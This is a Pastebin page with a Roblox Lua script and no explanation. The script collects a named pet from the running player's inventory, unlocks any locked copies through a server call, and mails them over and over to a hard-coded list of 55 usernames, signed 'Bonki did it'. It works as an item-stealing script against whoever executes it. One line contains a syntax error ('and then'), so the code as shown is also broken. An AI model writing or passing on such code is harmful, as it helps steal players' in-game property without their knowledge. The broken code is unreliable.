Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Roblox_Usernames = {
- "Hronb0890",
- "Fastber6533",
- "Rustwh0170",
- "Skyfrost8216",
- "Brikflin7441",
- "Slowsna9721",
- "Plixcog1050",
- "Overcr1479",
- "Gracxi1903",
- "Dosks2299",
- "Radianbe3112",
- "Dosber3078",
- "Embed2282",
- "Crazyspark6366",
- "Whindlewrench0884",
- "Dostch3592",
- "Rustwh4599",
- "Sparkch6009",
- "Overtwi6014",
- "Lunatch3670",
- "Swiftvolt9993",
- "Embeshad1622",
- "Shadodd7332",
- "Rustchoo4966",
- "Embestr7912",
- "Leezsnap4605",
- "Thuntc5607",
- "Crazysn9445",
- "Varlakk7355",
- "Lunac9342",
- "Brikch7280",
- "Azfe3887",
- "Hronban1854",
- "Rustne8281",
- "Dosxi2078",
- "Rustsha0766",
- "Kipsh9958",
- "Gracs7526",
- "Ironch8445",
- "Zapsnap5715",
- "Blackspark2094",
- "Slowxit6342",
- "Zapfe1766",
- "Voltfl6202",
- "Voltblaz2434",
- "Dosfl2789",
- "Zephcho7587",
- "Dekkw0374",
- "Volttch3929",
- "Shodxt9796",
- "Crutnee3993",
- "Brikf2453",
- "Gracfr5366",
- "Plikco5395",
- "Crankcrank2464"
- }
- local Library = require(game.ReplicatedStorage.Library);
- local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get();
- local Directory = require((game:GetService("ReplicatedStorage")).Library.Directory);
- local Player = game.Players.LocalPlayer;
- local Inventory = Save.Inventory;
- local HttpService = game:GetService("HttpService");
- local message = require(game.ReplicatedStorage.Library.Client.Message);
- local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network");
- local GetListWithAllItems = function()
- local hits = {};
- local AllowedPets = {
- ["Lit Octopus"] = true,
- };
- Inventory = ((require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get()).Inventory;
- if Inventory.Pet ~= nil then
- for i, v in pairs(Inventory.Pet) do
- local id = v.id;
- local dir = Directory.Pets[id];
- if dir.Tradable ~= false and AllowedPets[id] and then
- table.insert(hits, {
- Item_Id = i,
- Item_Name = v.id,
- Item_Amount = 50,
- Item_Class = "Pet",
- IsShiny = v.sh or false,
- IsLocked = v.lk or false
- });
- end;
- end;
- end;
- return hits;
- end;
- local function sendItem(username, category, uid, am, locked)
- local args = {
- [1] = username,
- [2] = "Bonki did it",
- [3] = category,
- [4] = uid,
- [5] = am
- };
- local response = false;
- repeat
- if locked == true then
- local lockArgs = {
- uid,
- false
- };
- (game:GetService("ReplicatedStorage")).Network.Locking_SetLocked:InvokeServer(unpack(lockArgs));
- end;
- local success, err = (network:WaitForChild("Mailbox: Send")):InvokeServer(unpack(args));
- response = success;
- until response == true;
- end;
- local hits = GetListWithAllItems();
- if #hits > 0 then
- for _, username in ipairs(Roblox_Usernames) do
- for _, item in pairs(hits) do
- print("Sending to " .. username);
- sendItem(username, item.Item_Class, item.Item_Id, item.Item_Amount, item.IsLocked);
- end;
- end;
- end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement